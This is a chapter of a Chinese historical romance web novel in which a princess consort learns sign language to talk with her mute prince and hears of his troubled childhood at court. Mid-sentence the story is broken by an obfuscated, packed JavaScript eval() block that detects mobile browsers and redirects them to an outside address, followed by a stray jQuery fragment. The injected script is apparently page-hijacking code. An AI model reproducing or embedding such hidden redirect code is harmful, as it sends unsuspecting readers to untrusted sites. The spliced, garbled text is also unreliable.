琥珀离开后,沈暮云继续手上的动作,终是把那被缠住的衣带给解救下来。
松了口气后,不经意般抬头才发觉面前的萧瑟言此时衣不蔽体。
这般虚弱的身子竟也有如此精壮的轮廓。
她这样想着且目光不断地流转在萧瑟言的身躯上。
那毫不掩饰的目光叫萧瑟言脸上的热度更甚。
一声刻意的咳嗽声传入她的耳畔,叫她霍然回了神。
前头为解衣带,慌乱中沈暮云不管不顾,故而此时她正交叉着坐在萧瑟言的腿上。
她连忙起身,怕萧瑟言被冻到便把他往被褥里一塞。
“王爷先将就着,妾身去唤人拿件干净衣裳来。”
随后头也不回地往外走去,目光一扫瞧见琥珀就在不远处。
她唤了一声。
“琥珀。”
琥珀闻声便朝她走来,未待沈暮云开口,她便急急询问道:
“就结束了?”
以为琥珀指的是衣带的事,沈暮云便点头。
“嗯。
“你去拿件干净衣裳熏上香之后送来。”
“是。”
琥珀应声后又叹了口气低声道:“一定是王爷病了的缘故。”
这小丫头嘀嘀咕咕说着什么呢?
沈暮云面上爬上疑惑。
之后为萧瑟言重新换上衣裳时已到日落之时,简单用膳再敷上药膏后他便睡去。
沈暮云撑着脑袋在他的床榻边守着他,渐渐地她眼皮终是抵不住困意,随后枕着手臂也入了梦。
——
“王妃,醒醒。”
感觉有人正在轻轻地摇着自己的身子,沈暮云悠悠醒来,眯着眼看去,只见琥珀俯身与她说着话。
“怎么了?”
“已到卯初,王妃昨日不是说要去康嬷嬷那。”
沈暮云闻言困意全无,越过琥珀看向窗外随后快速起身,却发现自己此时正在床榻上。
奇怪,昨夜我明明是趴着睡着的。
想着她侧首朝身旁熟睡的那人看去。
是他?
“那快帮我换衣洗漱罢。”她对琥珀压低声音说道。
而后沈暮云便加快步伐朝着目的地走去,临近时便已瞧见康嬷嬷那张不爽快的脸。
“哟—王妃可算来了,老奴差点以为您不会来了呢!”
话不投机半句多,沈暮云只是草草回了一句:“怎会,那便开始罢。”
康嬷嬷本还想阴阳怪气几句,见状只好转身引着路朝前走去。
“见过王妃。”
此人沈暮云略有耳闻,是康嬷嬷亲手带出的丫鬟,年纪与琥珀差不多,温顺守礼,是个聪明机灵的人。
“这是采菊,之后由她帮助王妃了解王爷的习性,结束后老奴可是会抽查,王妃可要认真学着。”
那康嬷嬷得意地离开后,采菊在前头引路,她们穿过一长廊,来到一处暖阁,最后笑意满满地说道:
“当下寒风凛冽,王妃在这里头也了舒坦些。”
“这是康嬷嬷的意思?”
采菊依旧笑了笑对沈暮云的询问不置可否,随后推开门迈步往里头走去。
随后采菊认真细致地教沈暮云手语,期间时不时手把手为她调整一些细节。
如若脱离各自的身份,此番场景也称得上是教书先生与学子之间良好的交流。
不知过了多久,采菊抬首看了看窗外,随即屈膝行礼。
“王妃今日便到这了,明日再继续罢。”
“嗯。”
沈暮云起身朝着正在角落打瞌睡的琥珀走去,轻轻拍了拍琥珀的肩唤她:
“琥珀醒醒,我们走了。”
琥珀如梦初醒,茫茫然抬头后赶忙从地上起来。
“抱歉啊,奴婢不小心睡着了。”
“无碍。”
沈暮云欲迈步离去,后头却响起采菊的声音。
“王妃还真仁善,做您的丫鬟实在是一幸事。”
沈暮云只是回眸对着采菊笑了笑,便带着琥珀离去。
“王妃,奴婢帮你拿着罢。”
琥珀指了指她手中那本册子,递过去后沈暮云开口询问道:
“琥珀你觉着采菊这人如何?”
“挺好的啊,反正比康嬷嬷好,不知晓她老人家怎么想的,明明奴婢也会手语,可她偏偏不让。”
琥珀说完还谨慎地环顾四周,怕康嬷嬷就在附近出现,随后目光转移到那册子上。
“王妃这册子里是什么?”
沈暮云侧首看见琥珀那满是好奇的脸,忍不住扬了扬唇。
“你自己打开看罢。”
琥珀原是不识字的,沈暮云知晓后便教她认字写字,这些日子来她已经识得不少字。
等到这句话,琥珀立即翻开来看,眼前赫然出现几个大字——王爷习性记录薄。
“王妃对可王爷真上心。”
她继续往下看着。
“原来王爷不喜甜食啊,那昨日……”
好似突然醒悟那般,长长地唔了一声:“所以昨日王爷是故意支开奴婢的,奴婢竟误解了王妃。”
沈暮云感到奇怪随即问了一嘴:“误解什么?”
“没…没什么。”
琥珀这般说着沈暮云便不再追问,仿佛忆起什么,犹豫着开口问道:
“琥珀你看看这般为何解。”
于是她抬手做了番手语。
“你是全天下最好的女子,是我配不上你。”
“这是王妃今日学的么?王妃?”
只见自家王妃心不在焉地“嗯”了一句,脸上神情由怔愣转为惊讶,还有一丝诡异的绯色。
方才与采菊那学完后,她试着解读昨日萧瑟言听到提议叫他把自己休了后做的那番手语。
起初她还以为是自己技艺不精,可琥珀解出之意与她相差无几。
虽是从未怀疑自己过目不忘的本领,可此时竟有些动摇。
正当琥珀琢磨沈暮云的异常时,她不经意间瞥见不远处的萧瑟言,见他那神情似是在寻人。
琥珀当即明了,扬声说道:“王爷,王妃在这!”
沈暮云闻言倏忽抬眸往前看去,她无那人对上目光后,竟生出了一种就此逃离的心思。
萧瑟言很快便来到了她的身边,手中的那件披风随即在沈暮云肩上落下。
他拢了拢披风,察觉到沈暮云呆呆的目光后便弯了弯眉,轻柔地牵起她的手,相触那刹那暖意传入沈暮云的手中。
她没有拒绝,只是轻轻地回握。
“王爷是要带我去何处?”
[回寝处。]
“可我还需去祠堂……”
[无需。]
琥珀瞧见俩人大手牵小手且你来我往沟通流畅,心中突然起了个念头——是不是马上要有小世子了!
这般美滋滋的想着,康嬷嬷不合时宜的出现在他们面前。
“王妃莫不是忘了什么?”
萧瑟言把沈暮云拉入身后,她此时被颀长的身子挡去,看不见康嬷嬷对自己充满敌意的面容。
康嬷嬷见状虽又有不满可在萧瑟言面前不好发作,只好冷冷说了一句:
“王爷如此宠着王妃,对她可不是件好事。”
之后带着怒气离去。
不一会儿,沈暮云一路被萧瑟言牵着回到了玉兰轩。
一进屋,便见萧瑟言抬手想帮她解下披风,她本想说自己来,可对上那人的目光便哑了声。
[用这个暖暖手罢。]
是一个手炉,沈暮云接过后说了声:“谢谢。”
刚坐定,一碗姜汤又出现在她的视野前,一系列的举动叫沈暮云应接不暇。
此时一旁的琥珀见气氛微妙,便立马知趣道:
“奴婢去煎药了,就先退下了。”
“等等琥…”未待她说出下文,琥珀的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15881050|173245||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身影便已消失不见。
这丫头到底站哪一边的?
想到这,她只好把脑袋摆正,可实在受不住对面那人向她投来的目光。
“王爷为何总盯着我看?”
萧瑟言故作委屈般。
[就许王妃盯着我看,反之则不然?]
“我哪有……”
她忽地止住话头,难道是昨夜?
“王爷竟是装睡?”
闻言萧瑟言立即摆了摆手。
[只是被王妃拂弄睫毛时起了痒意后,这才醒来。]
沈暮云尴尬地咳了几声,昨夜不过是太过无聊,盯着盯着竟上了手。
见她沉默下来,萧瑟言也敛去了些许笑意。
[如若你不愿学这手语之后也可不去,这件事与你不相关。]
“不可,此番行径会叫康嬷嬷更失了脸面,且学这手语我是愿的。”
其实她还有另外一层打算,借着这次向采菊打听打听萧瑟言在宫中时发生的事。
人人皆道何贵妃是有福之人能得六皇子此般才德出众之人,可为何如今那文武双全的萧瑟言早已褪去锋芒。
——
此后半月有余皆是如此,沈暮云卯初去暖阁内,一个时辰到后她便被赶来的萧瑟言牵着手回玉兰轩,好似她还是那找不到回家路的稚子。
沈暮云总是以“王爷的病刚好,不宜出门受寒的。”此类话为借口,想着能劝退萧瑟言,可他执意如此,便也由着他去了。
期间见她白天没什么精神,回来后萧瑟言还会拉着她睡个回笼觉。
如此恩爱周边的侍从们看在眼里,私底下绘声绘色地讨论着,很快便传到康嬷嬷耳中。
起初只是道沈暮云会拿捏男人的心,直到后来——
“哎,你今早听见王妃叫王爷滚开么?”
“动静不小怎会听不见,王妃跟王爷吵架了?”
“怎会,我听在场的人说,是王爷抱着王妃不让侍女们为她宽衣,最后王妃快要迟了才生气的。”
“啊—那王爷被这般对待没生气?”
“没,你猜怎么着?王爷撒手后还对着王妃笑呢!真可怕……康嬷嬷您怎么…”
萧瑟言如此不争气,气得康嬷嬷把自己关在房内多日皆未出。
日子很快到月底,今日便是最后一次,沈暮云未起身离去,只是朝着采菊试探性地问道:
“这般久以来为何没提过王爷在宫中之事?”
采菊闻言忽地抬眸向沈暮云看去,沉吟几息后,凝肃道:
“王妃可知王爷八岁那年被钦天监判为魔头星之事?”
沈暮云面上一惊。
采菊好似料到她会如此反应,随即继而低声道:
“那年中宫秦皇后也就是现在的太后突然病倒,御医们皆诊断不出病症由头,众人都说有煞气冲撞中宫。”
“先帝便叫来钦天监,他建议到只有叫王爷离宫几日避开一段时间,如若不然,中宫难逃一劫。”
“后头的事众人皆知,中宫确实恢复如初,可王爷回宫后不仅话说不出了了,浑身都是伤痕。”
“何贵妃伤心欲绝,先帝大怒把侍奉王爷的一众侍从全都除以绞刑,随后便是何贵妃与先帝相继逝去。”
“此番更坐实了王爷魔头星的名号,民间人人道王爷回宫便克死了一众人,何贵妃从福星变为灾星,斥她生下一个魔头星。”
沈暮云一直到离去时都未讲一句话,心中复杂不已。
被支出去的琥珀并未在一旁,现下瞧见自家王妃脸色苍白,担心不已。
“王妃你怎么了?”
而她抬眸看去那人依旧如期出现。
萧瑟言一见到她便扬起了笑意,他缓缓走来,沈暮云好似瞧见了当年世人口中那个意气风发的少年。
于是她也快步向他走去,这一次是她先握住他的手。
萧瑟言先是一惊便再度笑弯了眼,紧紧牵着她往回走去。